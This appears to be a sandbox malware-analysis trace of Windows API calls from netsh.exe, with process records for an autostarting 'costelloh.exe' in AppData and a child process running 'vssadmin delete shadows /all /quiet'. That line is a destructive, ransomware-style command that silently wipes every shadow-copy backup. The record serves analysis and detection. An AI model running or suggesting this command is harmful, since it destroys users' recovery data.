	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.482] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80090
	[0073.482] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80310
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fe70
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ff10
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd801d0
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ff30
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd800b0
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd802f0
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd800f0
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fdb0
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80370
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd803f0
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ff50
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80410
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fdd0
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7fdf0
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80470
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80430
	[0073.483] GetProcessHeap () returned 0x2517dd70000
	[0073.483] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd7ff70
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80450
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80490
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80ae0
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80880
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80560
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd809c0
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80a80
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd807c0
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80980
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80b60
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80700
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd805c0
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd809e0
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80660
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80680
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80c40
	[0073.484] GetProcessHeap () returned 0x2517dd70000
	[0073.484] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd807e0
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd808a0
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80a20
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80800
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80c60
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80bc0
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd806e0
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd805e0
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80940
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd805a0
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80640
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80820
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80840
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80600
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80540
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80580
	[0073.485] GetProcessHeap () returned 0x2517dd70000
	[0073.485] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80620
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80a40
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80860
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80740
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80b00
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80720
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd808c0
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80780
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80b80
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80b40
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80a00
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80760
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd807a0
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80a60
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd808e0
	[0073.486] GetProcessHeap () returned 0x2517dd70000
	[0073.486] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80900
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80aa0
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80b20
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80ba0
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80920
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80ac0
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80960
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80c80
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80ca0
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd809a0
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80be0
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80520
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd806a0
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80c00
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80c20
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd806c0
	[0073.487] GetProcessHeap () returned 0x2517dd70000
	[0073.487] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81030
	[0073.488] GetProcessHeap () returned 0x2517dd70000
	[0073.488] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81490
	[0073.488] GetProcessHeap () returned 0x2517dd70000
	[0073.488] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81130
	[0073.488] GetProcessHeap () returned 0x2517dd70000
	[0073.488] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81230
	[0073.488] GetProcessHeap () returned 0x2517dd70000
	[0073.488] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80e70
	[0073.488] GetProcessHeap () returned 0x2517dd70000
	[0073.488] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80df0
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80e90
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81290
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81470
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81370
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd812d0
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80e10
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80f50
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81150
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd812f0
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd811f0
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81050
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81070
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80ed0
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80e30
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd811d0
	[0073.489] GetProcessHeap () returned 0x2517dd70000
	[0073.489] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81330
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.490] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd810d0
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.490] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80e50
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.490] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80ef0
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.490] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80d90
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.490] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd81090
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.490] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x10) returned 0x2517dd80eb0
	[0073.490] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5
	[0073.490] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.490] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x28) returned 0x2517dd78890
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.490] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x2) returned 0x2517dd7dc40
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.490] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x14) returned 0x2517dd810b0
	[0073.490] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE"
	[0073.490] GetProcessHeap () returned 0x2517dd70000
	[0073.491] RtlFreeHeap (HeapHandle=0x2517dd70000, Flags=0x0, BaseAddress=0x0) returned 1
	[0073.491] GetProcessHeap () returned 0x2517dd70000
	[0073.491] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x58) returned 0x2517dd756c0
	[0073.491] GetProcessHeap () returned 0x2517dd70000
	[0073.491] RtlFreeHeap (HeapHandle=0x2517dd70000, Flags=0x0, BaseAddress=0x0) returned 1
	[0073.491] GetProcessHeap () returned 0x2517dd70000
	[0073.491] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0xb0) returned 0x2517dd75040
	[0073.491] GetProcessHeap () returned 0x2517dd70000
	[0073.491] RtlFreeHeap (HeapHandle=0x2517dd70000, Flags=0x0, BaseAddress=0x2517dd756c0) returned 1
	[0073.491] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ff92e3f0000
	[0073.494] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x9d1fb273a8 | out: phkResult=0x9d1fb273a8*=0xb4) returned 0x0
	[0073.494] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x9d1fb273e0, lpcbMaxValueNameLen=0x9d1fb273f0, lpcbMaxValueLen=0x9d1fb273e8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x9d1fb273e0*=0x14, lpcbMaxValueNameLen=0x9d1fb273f0, lpcbMaxValueLen=0x9d1fb273e8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0
	[0073.494] GetProcessHeap () returned 0x2517dd70000
	[0073.494] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x8, Size=0x16) returned 0x2517dd81170
	[0073.494] GetProcessHeap () returned 0x2517dd70000
	[0073.494] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x8, Size=0x23) returned 0x2517dd788c0
	[0073.494] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x2517dd81170, lpcchValueName=0x9d1fb273a0, lpReserved=0x0, lpType=0x0, lpData=0x2517dd788c0, lpcbData=0x9d1fb273f8 | out: lpValueName="2", lpcchValueName=0x9d1fb273a0, lpType=0x0, lpData=0x2517dd788c0, lpcbData=0x9d1fb273f8) returned 0x0
	[0073.494] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10
	[0073.494] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10
	[0073.494] GetProcessHeap () returned 0x2517dd70000
	[0073.494] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x50) returned 0x2517dd81a20
	[0073.494] GetProcessHeap () returned 0x2517dd70000
	[0073.494] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x4) returned 0x2517dd7db80
	[0073.494] GetProcessHeap () returned 0x2517dd70000
	[0073.494] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x14) returned 0x2517dd80f10
	[0073.494] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL"
	[0073.494] GetProcessHeap () returned 0x2517dd70000
	[0073.494] RtlFreeHeap (HeapHandle=0x2517dd70000, Flags=0x0, BaseAddress=0x2517dd78890) returned 1
	[0073.494] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff911400000
	[0074.814] GetProcAddress (hModule=0x7ff911400000, lpProcName="InitHelperDll") returned 0x7ff911401310
	[0074.814] InitHelperDll () returned 0x0
	[0074.818] RegisterHelper () returned 0x0
	[0074.818] GetProcessHeap () returned 0x2517dd70000
	[0074.818] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x108) returned 0x2517dd742f0
	[0074.818] GetProcessHeap () returned 0x2517dd70000
	[0074.818] RtlFreeHeap (HeapHandle=0x2517dd70000, Flags=0x0, BaseAddress=0x2517dd75040) returned 1
	[0086.823] RegEnumValueW (in: hKey=0xb4, dwIndex=0x1, lpValueName=0x2517dd81170, lpcchValueName=0x9d1fb273a0, lpReserved=0x0, lpType=0x0, lpData=0x2517dd788c0, lpcbData=0x9d1fb273f8 | out: lpValueName="4", lpcchValueName=0x9d1fb273a0, lpType=0x0, lpData=0x2517dd788c0, lpcbData=0x9d1fb273f8) returned 0x0
	[0086.823] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9
	[0086.823] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9
	[0086.823] GetProcessHeap () returned 0x2517dd70000
	[0086.823] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x78) returned 0x2517dd75040
	[0086.823] GetProcessHeap () returned 0x2517dd70000
	[0086.823] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x4) returned 0x2517dd7db20
	[0086.823] GetProcessHeap () returned 0x2517dd70000
	[0086.823] RtlAllocateHeap (HeapHandle=0x2517dd70000, Flags=0x0, Size=0x1a) returned 0x2517dd78650
	[0086.823] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL"
	[0086.823] GetProcessHeap () returned 0x2517dd70000
	[0086.823] RtlFreeHeap (HeapHandle=0x2517dd70000, Flags=0x0, BaseAddress=0x2517dd81a20) returned 1
	[0086.823] LoadLibraryExW (lpLibFileName="RASMONTR.DLL", hFile=0x0, dwFlags=0x0) 

Thread:
	id = 37
	os_tid = 0xe90


Process:
	id = "8"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0xe9e1000"
	os_pid = "0xc58"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "3"
	os_parent_pid = "0xdcc"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 36
	os_tid = 0x4d0


Thread:
	id = 38
	os_tid = 0xfd4


Thread:
	id = 41
	os_tid = 0xfdc


Thread:
	id = 42
	os_tid = 0xfd0


Thread:
	id = 43
	os_tid = 0xc9c


Process:
	id = "9"
	image_name = "costelloh.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"
	page_root = "0x1c607000"
	os_pid = "0x6c0"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 46
	os_tid = 0x688

	[0206.764] GetStartupInfoW (in: lpStartupInfo=0x1afdec | out: lpStartupInfo=0x1afdec*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0206.764] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0206.764] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xd20000
